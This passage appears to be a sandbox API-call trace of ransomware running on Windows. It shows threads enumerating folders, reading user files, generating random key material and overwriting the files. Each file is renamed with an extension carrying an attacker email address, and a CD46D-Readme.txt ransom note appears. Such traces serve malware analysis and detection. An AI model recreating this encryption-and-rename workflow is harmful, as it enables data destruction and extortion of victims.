os_tid = 0xe28 [0155.228] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4b9ad0 [0155.229] wcscpy (in: _Dest=0xd4b9ad0, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0155.229] wcscat (in: _Dest=0xd4b9ad0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0155.229] wcscat (in: _Dest=0xd4b9ad0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" [0155.229] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bea00 [0155.229] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x9bea00 | out: lpFindFileData=0x9bea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942630 [0155.229] wcscmp (_String1=".", _String2=".") returned 0 [0155.229] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x9bea00 | out: lpFindFileData=0x9bea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.229] wcscmp (_String1="..", _String2=".") returned 1 [0155.229] wcscmp (_String1="..", _String2="..") returned 0 [0155.229] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x9bea00 | out: lpFindFileData=0x9bea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0155.229] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0155.229] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0155.229] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xec) returned 0x8ebe78 [0155.229] wcscpy (in: _Dest=0x8ebe78, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0155.229] wcscat (in: _Dest=0x8ebe78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0155.229] wcscat (in: _Dest=0x8ebe78, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0155.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ebe78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e8 [0155.675] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x9bea00 | out: lpFindFileData=0x9bea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0155.675] FindClose (in: hFindFile=0x942630 | out: hFindFile=0x942630) returned 1 [0155.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bea00) returned 1 [0155.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9ad0) returned 1 [0155.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6080) returned 1 Thread: id = 3720 os_tid = 0xe2c [0155.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf")) returned 0x20 [0155.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF", dwFileAttributes=0x20) returned 0 [0155.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.230] GetLastError () returned 0x5 [0155.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF", dwFileAttributes=0x20) returned 0 [0155.230] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7708) returned 1 Thread: id = 3721 os_tid = 0xe30 [0155.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf")) returned 0x20 [0155.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF", dwFileAttributes=0x20) returned 0 [0155.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.232] GetLastError () returned 0x5 [0155.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF", dwFileAttributes=0x20) returned 0 [0155.232] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c519e0) returned 1 Thread: id = 3722 os_tid = 0xe34 [0155.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf")) returned 0x20 [0155.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF", dwFileAttributes=0x20) returned 0 [0155.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.233] GetLastError () returned 0x5 [0155.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF", dwFileAttributes=0x20) returned 0 [0155.233] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51af0) returned 1 Thread: id = 3753 os_tid = 0xeb4 [0155.462] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uyw19o7fc6tuy.wav")) returned 0x20 [0155.462] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav", dwFileAttributes=0x20) returned 1 [0155.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uyw19o7fc6tuy.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1148 [0155.463] GetFileSizeEx (in: hFile=0x1148, lpFileSize=0x343fc60 | out: lpFileSize=0x343fc60*=95979) returned 1 [0155.463] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x176e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.463] ReadFile (in: hFile=0x1148, lpBuffer=0x343fbe4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x343fbe0, lpOverlapped=0x0 | out: lpBuffer=0x343fbe4*, lpNumberOfBytesRead=0x343fbe0*=0x4, lpOverlapped=0x0) returned 1 [0155.464] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed80 [0155.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeee8 [0155.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0155.464] NtQuerySystemTime (in: CurrentTime=0x343fbc0 | out: CurrentTime=0x343fbc0*=132174899300710000) returned 0x0 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x17474c3 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x6f870d91 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0xabe15d9 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x3fe8847f [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x425d7f42 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x62354e89 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x1a4cadc5 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x73503c13 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x2a6ee517 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x62e55983 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x765c45b8 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x199376ac [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x2dad288d [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x34847cce [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x60e42e7f [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x4116b83b [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x5898351e [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x2d3f2bc4 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x7910649c [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x479105dd [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x69aaea1a [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0xed793a5 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x8510fe1 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x19c94474 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x700b2c63 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x53d211b5 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x6647b09f [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x28ba0a0 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x35600686 [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x7b4135c [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x60c12f4c [0155.465] RtlRandomEx (in: Seed=0x343fbcc | out: Seed=0x343fbcc) returned 0x2ba970fe [0155.477] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.477] ReadFile (in: hFile=0x1148, lpBuffer=0xd4cc068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x343fba0, lpOverlapped=0x0 | out: lpBuffer=0xd4cc068*, lpNumberOfBytesRead=0x343fba0*=0xc800, lpOverlapped=0x0) returned 1 [0155.478] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.478] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d27d0 [0155.478] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c080 [0155.478] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed80 [0155.478] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed80) returned 1 [0155.479] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12c52048 [0155.482] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed80 [0155.482] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0155.482] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0155.482] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c080) returned 1 [0155.482] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0155.482] WriteFile (in: hFile=0x1148, lpBuffer=0x12c52048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x343fba0, lpOverlapped=0x0 | out: lpBuffer=0x12c52048*, lpNumberOfBytesWritten=0x343fba0*=0xc800, lpOverlapped=0x0) returned 1 [0155.988] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c52048) returned 1 [0155.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4cc068) returned 1 [0155.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2f) returned 0x8daa60 [0155.992] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.993] WriteFile (in: hFile=0x1148, lpBuffer=0x8f6a60*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x343fc20, lpOverlapped=0x0 | out: lpBuffer=0x8f6a60*, lpNumberOfBytesWritten=0x343fc20*=0x113, lpOverlapped=0x0) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a60) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da9b8) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa60) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed80) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0a0) returned 1 [0156.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee20) returned 1 [0156.007] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc8) returned 0x938e58 [0156.007] wcscpy (in: _Dest=0x938e58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav" [0156.007] wcscat (in: _Dest=0x938e58, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav.mailto[2Hamlampampom@cock.li].cd46d" [0156.007] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x343fbd8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0156.007] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x8f67a8 [0156.008] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f67a8) returned 1 [0156.008] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5340) returned 1 [0156.008] NtQueryInformationFile (in: FileHandle=0x1148, IoStatusBlock=0x343fbe4, FileInformation=0x343fbbc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x343fbe4, FileInformation=0x343fbbc) returned 0x0 [0156.008] NtSetInformationFile (FileHandle=0x1148, IoStatusBlock=0x343fbe4, FileInformation=0x343fbbc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0156.010] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938e58) returned 1 [0156.010] FlushFileBuffers (hFile=0x1148) returned 1 [0156.011] CloseHandle (hObject=0x1148) returned 1 [0156.012] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c519e0 [0156.012] wcscpy (in: _Dest=0x12c519e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0156.012] wcscat (in: _Dest=0x12c519e0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" [0156.012] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cd46d-readme.txt")) returned 0x2020 [0156.012] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c519e0) returned 1 [0156.012] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50c98) returned 1 Thread: id = 3754 os_tid = 0xeb8 [0155.487] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xkc9gz.m4a")) returned 0x20 [0155.488] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a", dwFileAttributes=0x20) returned 1 [0155.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xkc9gz.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13dc [0155.488] GetFileSizeEx (in: hFile=0x13dc, lpFileSize=0x315fecc | out: lpFileSize=0x315fecc*=91906) returned 1 [0155.488] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x166fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.488] ReadFile (in: hFile=0x13dc, lpBuffer=0x315fe50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x315fe4c, lpOverlapped=0x0 | out: lpBuffer=0x315fe50*, lpNumberOfBytesRead=0x315fe4c*=0x4, lpOverlapped=0x0) returned 1 [0155.489] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.489] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0155.490] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0155.490] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0155.490] NtQuerySystemTime (in: CurrentTime=0x315fe2c | out: CurrentTime=0x315fe2c*=132174899301022000) returned 0x0 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x43f3687e [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x11b7a06b [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x18d0d9f6 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x359956ba [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x433e420 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x384b0d44 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0xa26f9cc [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x69aaea1a [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x782f700a [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x73ba64c9 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x60fb5368 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x393472b9 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x454c439b [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x404b8d6e [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x49426f6a [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x4dc29b8c [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x46aee277 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x4ef59487 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0xe858432 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x6ecfff9f [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x767628 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x6db73f9e [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x427305e2 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x575d7448 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x59542a45 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x7a9cb43d [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x2b71749b [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x5e9e9e62 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x6c670b94 [0155.490] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x6853df92 [0155.491] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x1692f2fb [0155.491] RtlRandomEx (in: Seed=0x315fe38 | out: Seed=0x315fe38) returned 0x72b162c9 [0155.502] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.502] ReadFile (in: hFile=0x13dc, lpBuffer=0x12c5e850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x315fe0c, lpOverlapped=0x0 | out: lpBuffer=0x12c5e850*, lpNumberOfBytesRead=0x315fe0c*=0xc800, lpOverlapped=0x0) returned 1 [0155.503] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.503] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d27d0 [0155.503] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c080 [0155.503] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0155.503] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0155.504] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd494048 [0155.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 